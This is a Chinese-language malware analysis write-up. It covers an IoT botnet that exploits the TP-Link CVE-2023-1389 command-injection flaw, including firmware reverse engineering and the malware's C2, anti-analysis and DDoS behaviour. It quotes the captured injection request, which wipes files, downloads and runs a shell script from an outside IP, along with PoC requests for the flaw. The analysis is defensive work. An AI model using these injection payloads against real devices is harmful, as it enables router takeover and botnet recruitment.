IOT病毒分析

前言:

        最近审计报警日志,发现了一个IOT病毒,利用的是CVE-2023-1389漏洞扫描tplink,进行攻击,有点意思,拿出来分析下。

发现:

查看流量日志,发现了一个有问题的访问:

 访问地址80.94.92.60,对应的内容url解码后如下:

GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget http://94.156.79.129/tenda.sh; chmod 777 tenda.sh; ./tenda.sh)

可以看到其利用的是漏洞执行命令:

rm -rf *;cd /tmp;wget http://94.156.79.129/tenda.sh;chmod 777 tenda.sh;./tenda.sh

删除当前下载目录文件,进入tmp目录,下载http://94.156.79.129/tenda.sh文件,添加执行权限后执行内容,下面我们看下tenda.sh到底是什么,访问http://94.156.79.129/tenda.sh可以下载到tenda.sh文件,内容如下:

可以看到首先尝试进入目录后下载不同环境下可以运行的病毒文件,添加权限后并运行:

我们下载对应的病毒文件:

可以看到其利用tplink漏洞执行脚本,脚本负责下载病毒到设备执行,常见的木马都会统一连接*服务器,然后接受服务器发送的执行进行DDOS,挖矿等攻击行为,所以只要分析其中一个即可,这里我们分析任意一个即可,这里选择x86_64

分析:

分析除了分析病毒还要分析下tplink的漏洞,这里我们先了解下利用了tplink的什么漏洞:

CVE-2023-1389

根据/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=查找发现是利用了tplink的命令注入漏洞,根据官方的解释如下:

1.1.4 Build 20230219 之前的 TP-Link Archer AX21 (AX1800) 固件版本存在漏洞

其利用poc如下:

POST /cgi-bin/luci;stok=/locale HTTP/1.1
Host: <Router IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: <Payload Length>

token=&addAction=1&country=us;reboot; 

或者使用GET也可以触发漏洞:

GET  /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(reboot;) HTTP/1.1
Host: <Router IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: <Payload Length>

分析下到底为何产生了该漏洞,首先去tplink下载对应的固件分析:

https://www.tp-link.com/us/support/download/archer-ax21/v1.20/

下载完成后解压为bin文件,下面就要使用 binwalk对bin文件进行提取

这个时候可能会报错提示缺少ubireader_extract_files文件,这里我们需要执行如下命令安装对应的库文件,另外binwalk是基于python2,所以不要使用pip3,安装ubi_reader和jefferson

//安装依赖
$ sudo apt-get install liblzo2-dev
$ sudo pip install python-lzo
//安装ubi_reader
$ sudo pip install ubi_reader
//安装jefferson
$ sudo pip install jefferson

安装完成后先用binwalk查看下文件:

 可以看到包含JFFS2和UBI两个文件,递归解压:

通过/cgi-bin/luci/,查看对应的luci代码,分析代码发现其后端是通过lua对数据进行处理:

分析发现其luci-apps.list中记录了对应的处理方法的地址,这里猜测为/usr/lib/lua/luci/controller/locale.lua,对应的处理locale参数:

但是打开发现是编译的lua文件,且发现其为5.1版本编译的32位的程序

这里我使用luadec对文件进行反编译:

https://github.com/viruscamp/luadec
git clone https://github.com/viruscamp/luadec
cd luadec
git submodule update --init lua-5.1

由于是32位的程序,但是我的kali是64位,默认源码编译后是64位程序,所以需要更改makefile使之编译32位程序 ,添加-m32到CFLAGS和LDFLAGS到lua-5.x/src/Makefile和luadec/Makefile

首先是luadec/lua-5.1下的Makefile

然后是src目录下的 Makefile

最后是luadec下的Makefile

完成后执行如下代码:

cd lua-5.1
make linux
cd ../luadec
make LUAVER=5.1

 即可编译成功,如果报错需要添加依赖:

apt-get install gcc-multilib g++-multilib
apt-get install lib32readline-dev

但是执行发现报错:

 分析发现是由于架构原因,查看bin目录下其他可执行文件可以看到其格式如下:

这就很蛋疼了,我编译出来的如下:

 

全白忙了,由于是arm架构的,我们使用的并不支持针对arm的反编译,因为arm架构下的格式和386下的格式不一定完全相同,但是反编译工具是针对386架构进行的,这样就会报错,这就需要换个方法,

然后我又尝试了下github上的miwifi

https://github.com/NyaMisty/unluac_miwifi

下载下来以后新建build文件夹,并执行如下命令:

javac -d build -sourcepath src src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build .

即可在build文件夹中生成unluac.jar文件,但是很遗憾还是不行:

找了一圈还发现luadec-tplink

https://github.com/superkhung/luadec-tplink/tree/master

但是试了一下还是不行,用里面的ChunkSpy51.lua检测了下,果然结构有问题

但是程序并没有加密,string以下可以看到很多信息,那就是目前的反编译工具并不支持反编译这个Tplink平台编译的lua代码,至少是该版本的无法反编译,后面有时间再来研究下这个。

病毒分析:

下面对病毒进行分析首先进行下静态分析,这里我用的是ghidra,因为这个电脑没装IDA,不过也差不多,安装方法网上都有,这里就不重复了,分析后发现一个很蛋疼的事情,就是这里面没有分析出对应的符号表,这样我就没有办法知道哪些是系统函数,哪些不是系统函数,尝试导入了几个符号表,但是依然没分析出来,如果读者有什么好的符号表可以分享出来,

还算好没有加壳,这样省去了脱壳,查看字符串看到一些有意思的信息:

是不是有点眼熟,标准的DDOS,SSDP反射攻击,可以放大流量。

另外就是一些watchdog,tcpdump之类的,应该是反调试搜索有没有安全软件或者安全分析工具运行。

看了下反汇编的内容,有点头疼,没有符号表很杂乱,先看看病毒运行的行为把,这样分析起来就比较有方向了,使用strace对运行进行监控:

strace -t -ff -k -e trace=file,network -v -o strace.log ./test tplink
或去掉-e -e是有针对性的过滤
strace -t -ff -k -v -o strace.log ./test tplink

运行成功后可以获取其运行轨迹,一开始运行将当前进程替换为一个新的程序,修改环境变量并重启病毒文件:

15:02:25 execve("./test", ["./test", "tplink"], ["COLORFGBG=15;0", "COLORTERM=truecolor", "COMMAND_NOT_FOUND_INSTALL_PROMPT"..., "DBUS_SESSION_BUS_ADDRESS=unix:pa"..., "DESKTOP_SESSION=lightdm-xsession", "DISPLAY=:0.0", "DOTNET_CLI_TELEMETRY_OPTOUT=1", "GDMSESSION=lightdm-xsession", "GTK_MODULES=gail:atk-bridge", "HOME=/root", "LANG=zh_CN.UTF-8", "LANGUAGE=zh_CN:zh", "LOGNAME=root", "PANEL_GDK_CORE_DEVICE_EVENTS=0", "PATH=/usr/local/sbin:/usr/local/"..., "POWERSHELL_TELEMETRY_OPTOUT=1", "POWERSHELL_UPDATECHECK=Off", "PWD=/home/test", "QT_ACCESSIBILITY=1", "QT_AUTO_SCREEN_SCALE_FACTOR=0", "QT_QPA_PLATFORMTHEME=qt5ct", "SESSION_MANAGER=local/kali:@/tmp"..., "SHELL=/usr/bin/zsh", "SSH_AGENT_PID=1066", "SSH_AUTH_SOCK=/tmp/ssh-XXXXXXOA8"..., "TERM=xterm-256color", "USER=root", "WINDOWID=0", "XAUTHORITY=/root/.Xauthority", "XDG_CONFIG_DIRS=/etc/xdg", "XDG_CURRENT_DESKTOP=XFCE", "XDG_DATA_DIRS=/usr/share/xfce4:/"..., "XDG_GREETER_DATA_DIR=/var/lib/li"..., "XDG_MENU_PREFIX=xfce-", "XDG_RUNTIME_DIR=/run/user/0", "XDG_SEAT=seat0", "XDG_SEAT_PATH=/org/freedesktop/D"..., "XDG_SESSION_CLASS=user", "XDG_SESSION_DESKTOP=lightdm-xses"..., "XDG_SESSION_ID=2", "XDG_SESSION_PATH=/org/freedeskto"..., "XDG_SESSION_TYPE=x11", "XDG_VTNR=7", "_JAVA_OPTIONS=-Dawt.useSystemAAF"..., "SHLVL=1", "OLDPWD=/root", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "LESS_TERMCAP_mb=\33[1;31m", "LESS_TERMCAP_md=\33[1;36m", "LESS_TERMCAP_me=\33[0m", "LESS_TERMCAP_so=\33[01;33m", "LESS_TERMCAP_se=\33[0m", "LESS_TERMCAP_us=\33[1;32m", "LESS_TERMCAP_ue=\33[0m", "_=/usr/bin/strace"]) = 0

然后是尝试打开/dev/watchdog,可以理解为在判断是否有watchdog,然后进行端口监听

 这里看下对应的0x8d84加上基址400000为0x00408ba9,可以看到SYSCALL ,return 2是系统函数open,可以去网上搜对应的解析表,有兴趣的可以写个python脚本自动解析一下,我这懒得写了,感兴趣的可以写写,可以通过如下网址查询对应关系

https://hackeradam.com/x86-64-linux-syscalls/

这里我们和IDA一样可以将对应function重命名为open,方便分析:

对应的可以看到伪代码里对 watchdog的读取,失败会进入8ad0,也是个系统函数对应的syscall是0x10和0x3,对应的为ioctl和close函数,直接向内核发送0x80045704,这是为了向watchdog发送控制码0x80045704来禁用看门狗功能,至于为什么能禁止,感兴趣的可以研究下,

 然后正常的木马就要连接服务器了,这里也不例外,可以看到获取了tcpdown.su的ip地址

代码中可以看到其将tcpdown.su按照十六进制拆分后拼接获取,并且对应端口号为53B1(大小端存储)对应的十进制为21425另外还会连接7722端口,但是7722端口已经关闭,访问一直失败。

由于DNS解析不同,ip也会不同,这里多地ping看下地址有哪些:

 总结下来就是如下IP:

172.245.119.70
172.245.119.63
185.216.70.169
185.216.70.168
185.216.70.250
104.168.32.17
104.168.45.11
198.12.124.76

 往下看确实获取到了解析地址,这里是185.216.70.169

查看下流量:

另外复制自身并循环判断是否存在tcpdump,wireshark等可能涉及调试抓包的进程,如果发现就强行关闭:

对应的代码如下,循环遍历进行kill:

然后就是和服务器通信,根据行为和流量可以看到其心跳包数据为0000,刚开始会把被感染设备的名称发送到服务器端,然后等待:

扫描下服务器,发现21425尽然是telnet端口,有意思,后面爆破下看看。

爆破了一下发现全部卡死,没有返回数据,应该也没必要伪装成telnet端口,并没有什么意义,所以又尝试发送空数据会返回错误,其他数据均无返回结果,不清楚是否是基于telnet客户端修改的代码还是就是单纯的伪装为telnet服务。

本来向gdb动态调试下,但是进程不断在fork,附加进程调试有点麻烦,也懒得调试了,感兴趣的可以动态看下。

总结:

最后总结下病毒的运行,首先通过cve-2023-1389全网扫描存在漏洞的tplink设备,如果发现存在漏洞的设备,会下载全平台的病毒,总有一个能成功。

病毒成功运行后会不断复制自身创建进程,然后关闭watchdog和扫描进程关闭抓包工具运行,接着解析tcpdown.su,根据解析出来的ip,连接其21425和7722端口,如果连接成功则每隔30s发送一次心跳存活包,另外大概看了下可以通过SSDP发动反射攻击和执行命令,具体的接收指令是数字而非字符,感兴趣的可以研究。

上一篇:Java | Leetcode Java题解之第64题最小路径和-题解:


下一篇:设计模式之模板模式